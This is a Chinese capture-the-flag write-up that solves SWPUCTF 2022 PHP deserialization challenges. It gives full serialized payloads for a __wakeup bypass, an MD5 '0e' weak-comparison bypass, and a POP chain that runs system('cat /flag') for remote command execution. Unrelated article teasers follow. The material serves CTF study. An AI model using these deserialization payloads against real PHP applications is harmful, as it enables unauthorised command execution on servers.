[SWPUCTF 2022 新生赛]ez_1zpop(php反序列化之pop链构造)

[SWPUCTF 2022 新生赛]ez_ez_unserialize

<?php
class X
{public $x = __FILE__;function __construct($x){$this->x = $x;  }function __wakeup(){if ($this->x !== __FILE__) {$this->x = __FILE__; }}function __destruct(){highlight_file($this->x);//flag is in fllllllag.php    flag在fllllllag.php文件里}
}
if (isset($_REQUEST['x'])) {        @unserialize($_REQUEST['x']);    //将x反序列化输出
} else {highlight_file(__FILE__);
}

因为flag在fllllllag.php文件里,所以要让fllllllag.php文件在x中,让x等于这个文件的序列化

对x进行序列化操作:

<?php
class X
{public $x ='fllllllag.php'; 	
}
$a=new X();
echo serialize($a);
?>//输出:O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}

绕过__wakeup()函数,构造payload:        得到flag

?x=O:1:"X":2:{s:1:"x";s:13:"fllllllag.php";}

__wakeup()函数漏洞原理:

当序列化字符串表示对象属性个数的值 大于 真实个数的属性时就会跳过__wakeup的执行

 [SWPUCTF 2022 新生赛]1z_unserialize

<?php//包含了一个名为lyh的类,该类有公共属性:url、lt和lly 
class lyh{            public $url = 'NSSCTF.com';public $lt;public $lly;function  __destruct()       //魔术方法__destruct(),在对象被销毁时调用{$a = $this->lt;          //尝试执行一个由$this->lt引用的函数,并将$this->lly作为参数传递给该函数。    $a($this->lly);           }}
unserialize($_POST['nss']);       //从POST请求中的nss参数读取序列化的数据,并进行反序列化操作
highlight_file(__FILE__);?>

赋值执行RCE:

直接将 $a 赋值为 system ,即将 $this->lt 赋值为 system ,那么 $this->lly 就可以赋值任意命令执行RCE。

将$this->lly赋值成ls /查看根目录,POST传参nss发现存在flag文件。

将$this->lly赋值成cat /flag读取flag。

<?php
class lyh
{public $url = 'NSSCTF.com';public $lt="system";public $lly="cat /flag";}
$a=new lyh();
echo serialize($a);
?>//输出:O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

php反序列化之pop链构造

做pop类题目要紧盯魔术方法。

需要找到普通类与魔术方法之间的联系,理出一种逻辑思路,通过这种逻辑思路来构造一条pop链,从而达到攻击的目的。

在构造调用链时,先找到调用链的头和尾。头一般都是能传参以及可以反序列化的地方,而尾部一般都是可以执行恶意代码的地方。

[SWPUCTF 2022 新生赛]ez_1zpop

代码审计

<?php
error_reporting(0);
class dxg                      //定义类dxg,其中只有一个方法fmm()
{function fmm()             {return "nonono";}
}class lt                        //定义类lt,包含公共属性impo、md51、md52
{public $impo='hi';public $md51='weclome';public $md52='to NSS';function __construct()       //__construct()类的构造函数,创建对象时触发 {$this->impo = new dxg;    //实例化了dxg类的对象并赋值给impo属性}function __wakeup()          //__wakeup()方法在反序列化对象时被调用{$this->impo = new dxg;    //也实例化了dxg类的对象,并返回fmm()方法的结果return $this->impo->fmm();}function __toString()        //__toString()把对象当成字符串调用时触发{if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm(); //返回impo属性的fmm()方法的结果}function __destruct()        //__destruct()方法在对象销毁前被调用,它会调用__toString()方法并输出结果。 {echo $this;}
}class fin                        //定义类fin,包含公共属性a和一个方法fmm()
{public $a;public $url = 'https://www.ctfer.vip';public $title;function fmm(){$b = $this->a;            //fmm()方法调用了属性a所指向的函数,并将属性title作为参数传递。$b($this->title);  }
}if (isset($_GET['NSS'])) {     //检查是否存在$_GET['NSS']参数,存在,对NSS进行反序列化$Data = unserialize($_GET['NSS']);
} else {highlight_file(__file__);
}

如果$this->impo 已设置,并且 $this->md51 = $this->md52 的 MD5 哈希值,同时 $this->md51 和 $this->md52 值不相等。就会调用 $this->impo->fmm() 方法。

function __toString(){if (isset($this->impo) && md5($this->md51) == md5($this->md52) && $this->md51 != $this->md52)return $this->impo->fmm();}

0e绕过MD5弱比较:

令md51='s155964671a';        md52='s214587387a';

构造pop链:先把用到的类写出来,形成一个框架,然后补充类中的变量,再将用到的类进行实例化。

<?php
class lt
{#设置 $this->md51 = $this->md52 的 MD5 哈希值public $impo='hi';public $md51='s155964671a';public $md52='s214587387a';
}
class fin
{#赋值执行RCE:$a="system",$title="cat /flag"public $a='system';public $url = 'https://www.ctfer.vip';public $title='cat /flag';
}
#实例化类
$lt = new lt();
$fin = new fin();
#链子
$lt->impo=$fin;
echo serialize($lt);
?>//输出:O:2:"lt":3:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

得到输出后,记得绕过wakeup(),GTE传参NSS构造payload:                得到flag

?NSS=O:2:"lt":4:{s:4:"impo";O:3:"fin":3:{s:1:"a";s:6:"system";s:3:"url";s:21:"https://www.ctfer.vip";s:5:"title";s:9:"cat /flag";}s:4:"md51";s:11:"s155964671a";s:4:"md52";s:11:"s214587387a";}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/26550.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

称重显示模块 Modbus RTU 通信

目录 一、智能称重数字显示器模块(带通信)1、称重传感器接线说明称重显示模块称重传感器USB 转 TTL 2、校准传感器&#xff08;标定&#xff1a;零点标定、满度标定&#xff09; 二、Modbus RTU 协议1、Modbus RTU 数据帧2、数据帧格式请求帧响应帧 三、上位机电脑与称重显示模…

携手知名律所,合合信息旗下名片全能王打造数字化名片“新范式”

在低碳办公理念盛行的当下&#xff0c;数字名片成为商务交流的新方式&#xff0c;以数字化智能化赋能绿色化。近期&#xff0c;合合信息旗下名片全能王企业数字名片升级&#xff0c;与上海市律师协会、广州市律师协会、北京大成&#xff08;上海&#xff09;律师事务所等多家律…

MySQL 8.0 安装、配置、启动、登录、连接、卸载教程

目录 前言1. 安装 MySQL 8.01.1 下载 MySQL 8.01.2 安装 MySQL 8.0 2. 配置 MySQL 8.02.1打开环境变量2.2新建变量 MYSQL_HOME2.3编辑 Path 变量 3. 启动MySQL 8.03.1验证安装与配置是否成功3.2初始化并注册MYSQL3.3 启动MYSQL服务 4.登录MySQL4.1修改账户默认密码4.2登录MYSQL…

【产品经理】发票系统简述

一、发票类型 增值税电子普通发票&#xff1a;简称电票 增值税普通发票和增值税专用发票&#xff0c;简称&#xff1a;纸票 蓝票&#xff1a;开票金额为正值的发票。红票&#xff1a;发票金额为负值的发票。 注&#xff1a;专票电子化系统国家目前在推&#xff0c;后续有更新…

三、网络服务协议

目录 一、FTP&#xff1a;文件传输协议 二、Telnet&#xff1a;远程登录协议 三、AAA认证 四、DHCP 五、DNS 六、PPP协议 七、ISIS协议 一、FTP&#xff1a;文件传输协议 C/S架构&#xff0c;现多用于企业内部的资料共享和网络设备的文件传输&#xff0c;企业内部搭建一…

【CT】LeetCode手撕—5. 最长回文子串

目录 题目1-思路2- 实现⭐5. 最长回文子串——题解思路 3- ACM实现 题目 原题连接&#xff1a;5. 最长回文子串 1-思路 子串的定义&#xff1a;子串是原始字符串的一个连续部分子序列的定义&#xff1a;子序列是原始字符串的一个子集记录最长回文子串的起始位置以及其长度&am…

字节跳动基础架构两篇论文入选 VLDB 2024

2024 年 8 月 26 至 30 日&#xff0c;VLDB 2024 将在中国广州举行。字节跳动基础架构云原生中间件团队、批式计算团队研究成果分别被 VLDB 2024 接收&#xff0c;并受邀进行现场报告。 VLDB&#xff08;International Conference on Very Large Data Bases&#xff09;是数据…

ESP32-C6 闪耀 Apple WWDC24|使用 Embedded Swift 构建 Matter 设备

WWDC 是苹果公司的年度全球开发者大会&#xff0c;旨在向全球开发者展示最新技术和工具。在今年的 WWDC 2024 上&#xff0c;苹果宣布将 Swift 语言扩展至嵌入式设备领域。大会技术讲座中&#xff0c;乐鑫 ESP32-C6 也现身官方 Demo “Go Small with Embedded Swift​​​​​​…

Vue路由的使用

如图所示&#xff1a; 1.首先创建文件&#xff0c;views中有以上示例图看到的创建的以下路由页面名称&#xff1a; 这个是创建的名字&#xff0c;为了方便看清我把第1步创建的名字写在下面了&#xff0c;为了方便看到这篇文章&#xff0c;创建名字不明白的可以按照我这个名创建…

怎么推导顺序统计量的分布函数?求证下图?

倒腾了一下午( ͡ ͜ʖ ͡)✧ 老师ppt猝不及防po了这么一个式子&#xff0c;本科基础没学好的渣渣查了一个多小时才搞懂 ヾ(▽*))) 手写笔记

便捷生活,从便民平台开始

想要生活更轻松、更便捷吗&#xff1f;那就来试试我们的便民平台吧&#xff01;生活中的琐事总是让人头疼不已&#xff0c;但有了我们的便民平台&#xff0c;一切问题都迎刃而解&#xff01; 咸阳便民平台的张总说&#xff1a;无论您是需要家政服务、维修安装&#xff0c;还是寻…

yolov8通过训练完成的模型生成图片热力图--论文需要

源代码来自于网络 使用pytorch_grad_cam&#xff0c;对特定图片生成热力图结果。 安装热力图工具 pip install pytorch_grad_cam pip install grad-cam# get_params中的参数&#xff1a; # weight&#xff1a; # 模型权重文件&#xff0c;代码默认是yolov8m.pt # c…

【设计模式】行为型-模板方法模式

方法千变万化&#xff0c;心灵如潮&#xff0c;模板如画&#xff0c;画出生活的韵味。 文章目录 一、茶与咖啡二、模板方法模式三、模板方法模式的核心组成四、运用模板方法模式五、模板方法模式的应用场景六、小结推荐阅读 一、茶与咖啡 场景假设&#xff1a;我们需要完成茶…

基于Unet++在kaggle—2018dsb数据集上实现图像分割

目录 1. 作者介绍2. 理论知识介绍2.1 Unet模型介绍 3. 实验过程3.1 数据集介绍3.2 代码实现3.3 结果 4. 参考链接 1. 作者介绍 郭冠群&#xff0c;男&#xff0c;西安工程大学电子信息学院&#xff0c;2023级研究生 研究方向&#xff1a;机器视觉与人工智能 电子邮件&#xff…

Go变量作用域精讲及代码实战

1. 变量的作用域概述 在编程中&#xff0c;变量的作用域&#xff08;Scope&#xff09;定义了变量在程序中的可见性和生命周期。理解变量的作用域对于编写健壮且可维护的代码至关重要。Go语言&#xff08;简称Go&#xff09;提供了几种不同的作用域类型&#xff0c;使得开发者可…

在大数据时代:为何硬盘仍是数据中心存储的核心

在云计算和人工智能应用场景不断涌现的时代背景下&#xff0c;数据集的价值急剧上升&#xff0c;硬盘对于数据中心运营商来说变得比以往任何时候都更为关键。硬盘存储了全球大部分的艾字节&#xff08;EB&#xff09;数据&#xff0c;行业分析师预计&#xff0c;在艾字节持续增…

Oracle数据库面试题-10

1. 描述Oracle数据库体系结构的主要组件。 Oracle数据库体系结构由多个组件组成&#xff0c;这些组件协同工作以确保数据的存储、处理和安全性。以下是Oracle数据库的一些主要组件&#xff1a; 数据库实例&#xff08;Database Instance&#xff09;&#xff1a;Oracle数据库的…

华为手机USB调试调过登录

【抓包工具】配置&#xff1a;绕过华为手机打开 USB 调试需要先登录华为账号问题 参考上面的文章。但是可能因为没有登录账号&#xff0c;没法切到生产模式。 登录荣耀账号&#xff0c;再试就可以了&#xff0c;记得默认允许电脑调试&#xff0c;然后退出荣耀账号

C++:十大排序

目录 时间复杂度分析 选择排序 引言 算法思想 动图展示 代码实现 (升序) 优化 代码实现 分析 冒泡排序 引言 算法思想 动图展示 代码实现 插入排序 引言 算法思想 动图展示 代码实现 计数排序 引言 算法思想 动图展示 代码实现 桶排序 引言 算法思…

利安科技上市首日股价大涨:2023营收净利润下滑,募资金额大幅缩水

《港湾商业观察》施子夫 6月7日&#xff0c;宁波利安科技股份有限公司&#xff08;以下简称&#xff0c;利安科技&#xff09;正式在深交所创业板挂牌上市&#xff0c;股票简称为利安科技&#xff0c;股票代码300784。 上市当天&#xff0c;利安科技股价大涨348.76%。 2022年…